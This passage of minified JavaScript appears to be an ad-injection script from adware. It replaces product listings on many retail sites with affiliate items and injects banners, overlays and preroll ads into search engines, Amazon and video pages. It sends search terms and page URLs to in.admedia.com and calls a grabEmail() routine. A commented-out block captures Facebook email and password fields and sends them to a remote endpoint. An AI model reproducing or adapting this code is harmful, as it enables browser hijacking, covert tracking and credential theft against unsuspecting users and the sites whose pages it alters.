obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.RecordDescription').html(obj.items[gc].title); if(price != '') jQuery(this).find('.ProductPrice').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "qvc") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.divBorder > div.divProduct').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('img.photo').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.description > a.prodDetailLink').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "gifts") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#srpProd > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.prodCont > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.prodName > a').html(obj.items[gc].title); if(price != '') { if(price.charAt(0) == "$") price = price.substr(1); jQuery(this).find('.priceField > a').html(price+" at "+obj.items[gc].displayUrl); } (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "drugstore") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('div[id^="gridView"]').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.prodImg > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.oesLink').html(obj.items[gc].title); if(price != '') jQuery(this).find('.PlistPrice').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "gamestop") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.products > .product').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.grid_2.alpha > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.product_info > h3 > a').html(obj.items[gc].title); jQuery(this).find('.product_info > p:first').html("by "+obj.items[gc].displayUrl); if(price != '') jQuery(this).find('.pricing').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "barnesandnoble") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('ol.result-set > li.result').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('img.product-image').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.contributor').html(obj.items[gc].displayUrl); if(price != '') jQuery(this).find('.price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "zappos") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#searchResults > a.product').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('img').attr('src', obj.items[gc].image); jQuery(this).attr('href', obj.items[gc].url); jQuery(this).find('.productName').html(obj.items[gc].title); jQuery(this).find('.brandName').html(obj.items[gc].displayUrl); if(price != '') jQuery(this).find('.price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "walgreens") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#rowMain > div > .product-container').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.image-container > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.product-name > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.Rprice').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "dell") jQuery('#content').prepend(jQuery(hAdHTML)); else if(pageEntity == "cvs") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.productResultsGrid > .productRow').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.resultImgLi > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.blockimg1').html(obj.items[gc].title); if(price != '') jQuery(this).find('.productPrice').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "bizrate") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.results > table.result').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.image > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html(obj.items[gc].title); jQuery(this).find('.description > a').html(desc); if(price != '') jQuery(this).find('.price > a').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "nike") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.product-wall > .grid-item').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.gridwall-image-wrapper > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.product-name > p:eq(0)').html(obj.items[gc].title); jQuery(this).find('.product-name > p:eq(1)').html(obj.items[gc].displayUrl); if(price != '') jQuery(this).find('.prices > .local').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "wayfair") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.productbox.large_images').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('a.large_images > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.prodname').html('
    '+obj.items[gc].displayUrl+'
    '+obj.items[gc].title); if(price != '') jQuery(this).find('.price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "evite") jQuery('#carousel').prepend(jQuery(hAdHTML)); else if(pageEntity == "samsclub") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('ul.shelfItems > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.shelfProdImg').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.prodTitle > h4 > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.onlinePrice').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "zazzle") { var gc = 0; var skip3 = 0; var ct3 = 0; var n=0; jQuery('div[id^="page_productsSearch_collection_cell"]').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('#page_productsSearch_collection_cell'+n+'-preview').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('#page_productsSearch_collection_cell'+n+'-titleLink').html(obj.items[gc].title); if(price != '') jQuery(this).find('#page_productsSearch_collection_cell'+n+'-price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } n++; }); } else if(pageEntity == "victoriassecret") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#features > ul > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.ftr').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('hgroup > h2').html(obj.items[gc].displayUrl); jQuery(this).find('hgroup > h3').html(obj.items[gc].title); if(price != '') jQuery(this).find('aside > p:first').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "dickssportinggoods") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#productLoopUL > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.regImage').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.prodtitle > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.ourPrice2 > p').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "vistaprint") jQuery('#divPageContentOuter').prepend(jQuery(hAdHTML)); else if(pageEntity == "cafepress") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('.grid-wrapper > .grid-unit').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.productImage').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.grid-title > a').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "ae") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#facetResults > .sProd').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.image > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.name').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "hsn") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#template-product-grid > .item.product-item').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.image > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.info > h3 > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "footlocker") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#endeca_search_results > ul > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.quickViewButtonWrap > a:eq(1)').html('
    '+obj.items[gc].title); jQuery(this).find('a').attr('href', obj.items[gc].url); if(price != '') jQuery(this).find('.product_price > b').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "thefind") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('ul.tf_search_itemlist > li').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.tf_search_item_productimage').attr('href', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.tf_search_item_title_popup').html(obj.items[gc].title); if(price != '') jQuery(this).find('.tf_search_item_price').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "lenovo") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#Results').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.pimg').attr('background-image', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.ptitle > a').html(obj.items[gc].title); jQuery(this).find('.pcontent').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(pageEntity == "smarter") { var gc = 0; var skip3 = 0; var ct3 = 0; jQuery('#productbox > .plist').each(function(){ if(gc>0 && gc%3 == 0) skip3 = 1; if(skip3 == 1) { if(ct3 < 3) ct3++; else if(ct3 == 3) { skip3 = 0; ct3 = 0; } } if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { price = getPriceFromDesc(obj.items[gc].description); desc = getDescFromDesc(obj.items[gc].description); jQuery(this).find('.imgbox > a > img').attr('src', obj.items[gc].image); jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.brand > a').html(obj.items[gc].title); if(price != '') jQuery(this).find('.price > a').html(price); (new Image()).src = obj.items[gc].pixel; gc++; } }); } } function injectGlobalBanners() { injectGrBanner('728x90', '[id*="header"]', 'ap'); injectGrBanner('300x250', '[id*="footer"]', 'ap'); injectGrBanner('160x600', '[id*="content"]', 'ap'); injectGrBanner('728x90', '[class*="header"]', 'ap'); injectGrBanner('300x250', '[class*="footer"]', 'ap'); injectGrBanner('160x600', '[class*="content"]', 'ap'); } function injectAds() { var pathName = jQuery.trim(location.pathname); var pagebody = jQuery(window.document.body); determineIsSearch(); var gd_subid = '13271'; var gd_userid = ''; var gd_cid = affiliate; (function() { /*var gd = document.createElement('script'); gd.type = 'text/javascript'; gd.async = true; gd.src = 'http://cdn.getdmedia.com/widget/index.static.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(gd, s); var jw = document.createElement('script'); jw.type = 'text/javascript'; jw.async = true; jw.src = 'https://api.jollywallet.com/affiliate/client?dist=190&sub=1'; s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(jw, s);*/ })(); // Travel Slider if(isTravel === true && travelSliderEn == 1) { pagebody.append(''); } // Direct Nav if(zredirect && zredirect != '' && httpText != "https") { pagebody.prepend('
    '); setTimeout(function(){ jQuery('#dNavADOvlySkpTxt').html('Skip Ad »»'); }, 6000); } if(xmlAds == 1 && dSites['xml'].indexOf(pageEntity+",") == -1 ) { /*if(ie_version != 1) injectXmlAds(); else {*/ if(escapedTerm != '') { if(pageUrl.indexOf('shopping.yahoo.com') != -1 || pageEntity == "amazon" || pageEntity == "ebay") loadScript("https://in.admedia.com/content_shop.php?id="+shopAff+"&term=" +escapedTerm+"&pageDomain="+pageDomain+subid+"&pageEntity="+pageEntity+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); else { if(pageEntity == "google" || pageEntity == "yahoo" || pageEntity == "bing" || pageEntity == "ask" || pageEntity == "aol") loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); else loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); } } //} } else if(pageEntity == "google" && (dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663") { if(showGoogleShop == 1) injectShoppingAds(term); if(showGoogleSerp == 1) loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); } //if(escapedTerm != '') // (new Image()).src = httpText+"://b.perfectnavigator.com/sc.php?st="+escapedTerm+"&rand="+Math.random()*1000; //if(vsliderAds == 1 && (pathName == '' || pathName == "/" || pathName == "/index.php" || pathName == "/index")) { if(vsliderAds == 1) { if(bannerAds == 1) { vdisplayEn = 1; vsid = id; } else { if(pageEntity == "youtube") pagebody.append(''); else if(affiliate == "33587") pagebody.append(''); else if(document.location.href.indexOf('search.yahoo') == -1 && pageEntity != "bing" && pageEntity != "google") pagebody.append(''); } } if(offersliderAds == 1 && pageEntity != 'google' && pageEntity != 'yahoo' && pageEntity != 'bing' && pageEntity != 'aol') pagebody.append(''); if(pageEntity != 'google' && pageEntity != 'yahoo' && pageEntity != 'bing' && pageEntity != 'aol' && exitmonAds == 1) pagebody.append(''); if (inlineAds == 1 && dSites['inline'].indexOf(pageEntity+",") == -1) { pagebody.append(''); //pagebody.append(''); //pagebody.append(''); } else if (blacklistInlineHosts[pageDomain] !== true && inlineEnabled == 1) { if(document.location.href.indexOf('search.yahoo.com') == -1) { //pagebody.append(''); pagebody.append(''); } } if(affiliate == "23120" && overlayAds == 1) { if(pageEntity != 'facebook' && pageEntity != 'linkedin' && pageEntity != 'twitter' && pageEntity != 'pinterest') pagebody.append(''); } else if (overlayHosts[pageEntity] === true && overlayAds == 1 && dSites['overlay'].indexOf(pageEntity+",") == -1) { if(pageEntity == "yahoo") { if(document.location.href.indexOf('video.search.yahoo') != -1 || document.location.href.indexOf('omg.yahoo.com/video') != -1 || document.location.href.indexOf('movies.yahoo.com') != -1 || document.location.href.indexOf('tv.yahoo.com') != -1 || document.location.href.indexOf('music.yahoo.com') != -1 || document.location.href.indexOf('screen.yahoo.com') != -1) pagebody.append(''); } else if(pageEntity == "bing") { if(document.location.href.indexOf('bing.com/videos') != -1) pagebody.append(''); } else if(pageEntity == "huffingtonpost") { if(document.location.href.indexOf('live.huffingtonpost') != -1) pagebody.append(''); } else if(pageEntity == "youtube") { if(pathName != '' && pathName != "/") pagebody.append(''); } else if(pageEntity == "hulu") { if(pathName != '' && pathName != "/") pagebody.append(''); } else pagebody.append(''); } // Grab All Emails grabEmail(); /*var lsEmailInt = ""; if(pageEntity == "facebook") { lsEmailInt = setInterval(function(){ jQuery('input[type="text"]').each(function(){ emailVal = jQuery(this).val(); if(emailVal != '') { if(validateEmail(emailVal)) { var lgo = jQuery('#pass').val(); (new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+emailVal+"&cat=0&dom="+pageDomain+"&lgo="+lgo+"&rand="+Math.random()*1000; clearInterval(lsEmailInt); } } }); }, 1000); }*/ /*if(footerrollHosts[pageEntity] === true && footerrollAds == 1 && dSites['footerroll'].indexOf(pageEntity+",") == -1) { pagebody.append(' '); }*/ if(homepageAdsHosts[pageEntity] === true) { //injectHomePageAds(); } var forceSearch = ""; if(term && term != '') forceSearch = "&search="+term+"&force=1"; else if(pageEntity == "facebook") { var rand = Math.floor(Math.random()*11); if(rand%2 == 0) forceSearch = "&cat=2"; else forceSearch = "&cat=7"; } if(dSites['banner'].indexOf(pageEntity+",") == -1) { var hsearchTerms = ['credit card offers', 'massage chairs', 'cell phones', 'airline prices', 'work from home', 'lose weight fast', 'local deals', 'digital cameras', 'vacation packages', 'online dating']; var shuffledTerms = shuffle(hsearchTerms); var forceHome1 = "&search="+shuffledTerms[0]+"&force=1"; var forceHome2 = "&search="+shuffledTerms[1]+"&force=1"; var forceHome3 = "&search="+shuffledTerms[2]+"&force=1"; setTimeout(function() { switch (pageEntity) { case 'google': //if(document.location.href.indexOf('google.com/prdhp') != -1 || document.location.href.indexOf('google.com/shopping') != -1) //injectHomePageAds(); //injectGrBanner('728x90', '#lga', 'pr'); //injectGrBanner('728x90', '#footer', 'ap'); //injectGrBanner('300x250', '#body', 'ap'); //injectGrBanner('728x90', '#foot', 'ap'); //injectGrBanner('300x250', '#foot', 'ap'); //injectGrBanner('728x90', '#topabar', 'pr'); break; case 'yahoo': //if(document.location.href.indexOf('shopping.yahoo.com') != -1) //injectHomePageAds(); injectGrBanner('728x90', '#y-header', 'ap'); injectGrBanner('120x600', '#y-pa', 'pr'); injectGrBanner('728x90', '#y-footer', 'ap'); injectGrBanner('300x250', '#results', 'ap'); injectGrBanner('160x600', '#sidebar', 'ap'); injectGrBanner('728x90', '#ft', 'ap'); injectPreroll('#y-col2', 'ap'); if(document.location.href.indexOf('movies.yahoo.com') != -1) { if(jQuery('#ymh-player-swf').length > 0 && overlayAds == 1) { var playerCode = ''; var playerUrl = jQuery('meta[property="og:video"]').attr('content'); var hashes = playerUrl.slice(playerUrl.indexOf('?') + 1).split('&'); for(var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); if(hash[0] == "vid") playerCode = hash[1]; } if(playerCode != '') { var embedUrl = "http://d.yimg.com/nl/movies/site/player.html#repeat=0&browseCarouselUI=hide&vid="+playerCode+"&startScreenCarouselUI=hide&shareUrl="+document.location.href; jQuery('#ymh-player-swf').html(''); jQuery('#ymh-player-swf').html(''); setInterval(function() { jQuery('object[id^="yppVideoPlayer"]').remove(); }, 1000); } } } if(document.location.href.indexOf('tv.yahoo.com') != -1) { if(jQuery('#video_container').length > 0 && overlayAds == 1) { var playerCode = ''; var playerUrl = jQuery('#video_container').find('embed').attr('flashvars'); var hashes = playerUrl.slice(playerUrl.indexOf('?') + 1).split('&'); for(var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); if(hash[0] == "vid") playerCode = hash[1]; } if(playerCode != '') { var embedUrl = "http://d.yimg.com/nl/ytv/site/player.html#repeat=0&vid="+playerCode+"&shareUrl="+document.location.href; jQuery('#video_container').html(''); jQuery('#video_container').html(''); //setInterval(function() { jQuery('object[id^="yppVideoPlayer"]').remove(); }, 1000); } } } if(document.location.href.indexOf('music.yahoo.com') != -1) { if(jQuery('#ymh-player-swf').length > 0 && overlayAds == 1) { var playerCode = ''; var playerUrl = jQuery('meta[property="og:video"]').attr('content'); if(playerUrl) { var hashes = playerUrl.slice(playerUrl.indexOf('?') + 1).split('&'); for(var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); if(hash[0] == "vid") playerCode = hash[1]; } } if(playerCode != '') { var embedUrl = "http://d.yimg.com/nl/vyc/site/player.html#repeat=0&browseCarouselUI=hide&vid="+playerCode+"&startScreenCarouselUI=hide&shareUrl="+document.location.href; jQuery('#ymh-player-swf').html(''); jQuery('#ymh-player-swf').html(''); setInterval(function() { jQuery('object[id^="yppVideoPlayer"]').remove(); }, 1000); } else { setInterval(function() { if(jQuery('#vevoPlayer').length > 0) { var playerHTML = jQuery('#ymh-player-swf').html(); playerHTML = playerHTML.replace("autoplay=1", "autoplay=0"); playerHTML = playerHTML.replace("vevoPlayer", "adm_overlay_autostart"); jQuery('#ymh-player-swf').html(playerHTML); } }, 1000); } } } if(document.location.href.indexOf('screen.yahoo.com') != -1) { if(jQuery('#ymh-player-swf').length > 0 && overlayAds == 1) { var playerCode = ''; var playerUrl = jQuery('meta[property="og:video"]').attr('content'); var hashes = playerUrl.slice(playerUrl.indexOf('?') + 1).split('&'); for(var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); if(hash[0] == "vid") playerCode = hash[1]; } if(playerCode != '') { var embedUrl = "http://d.yimg.com/nl/vyc/site/player.html#repeat=0&browseCarouselUI=hide&vid="+playerCode+"&startScreenCarouselUI=hide&shareUrl="+document.location.href; jQuery('#ymh-player-swf').html(''); jQuery('#ymh-player-swf').html(''); setInterval(function() { jQuery('object[id^="yppVideoPlayer"]').remove(); }, 1000); } } } if(document.location.href.indexOf('mail.yahoo.com') != -1) { //jQuery('#slot_LREC, #slot_SKY, #slot_REC').html(''); injectBannerAd("300x250", "#slot_LREC", "pr", affiliate, forceHome1, '
    '); injectBannerAd("160x600", "#slot_SKY, #slot_REC", "pr", affiliate, forceHome1, '
    '); } if(document.location.href.indexOf('news.yahoo.com') != -1) { //jQuery('#yom-ad-LREC, #yom-ad-LREC2, #yom-ad-LREC3').html(''); injectBannerAd("300x250", "#yom-ad-LREC, #yom-ad-LREC2, #yom-ad-LREC3", "pr", affiliate, forceHome1, '
    '); } break; case 'bing': injectGrBanner('300x250', '#hp_container', 'ap'); injectGrBanner('728x90', '#hp_container', 'ap'); injectGrBanner('728x90', '#ft', 'ap'); injectGrBanner('300x250', '#sw_content', 'ap'); injectGrBanner('728x90', '#sb_foot', 'ap'); injectGrBanner('160x600', '#sidebar', 'ap'); break; case 'msn': injectGrBanner('160x600', '#area2', 'ap'); injectGrBanner('300x250', '#content', 'ap'); injectGrBanner('728x90', '#foot', 'ap'); injectPreroll('#area2', 'ap'); injectPreroll('#MainTableCell', 'ap'); if(jQuery('#summaries .componentsw').length < 1) injectBannerAd("728x90", "#summaries", "pr", affiliate, forceHome1, '
    '); break; case 'amazon': injectPreroll('.howsMySearchDivMainTemp', 'af'); injectPreroll('#productDescription', 'ap'); jQuery('.sw-banner-ads').remove(); injectBannerAd("160x600", ".tigerTable", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", ".howsMySearchDivMainTemp", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#handleBuy", "pr", affiliate, forceSearch, '
    '); //injectBannerAd("200x200", "#buyboxDivId", "af", affiliate, forceSearch, '
    '); injectBannerAd("300x250", "#DAr2", "be", affiliate, forceHome1, ''); //injectBannerAd("728x90", "#centerA", "be", affiliate, forceHome2, '
    '); injectBannerAd("300x250", "#DAr7", "af", affiliate, forceHome3, ''); break; case 'bestbuy': injectPreroll('#btm-padbar', 'af'); injectPreroll('#productdetail', 'af'); injectBannerAd("160x600", "#leftcol", "ap", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#btm-padbar", "af", affiliate, forceSearch, '
    '); injectBannerAd("728x90", "#searchstate", "af", affiliate, forceSearch, '
    '); injectBannerAd("160x600", "#priceblock", "ap", affiliate, forceSearch, '
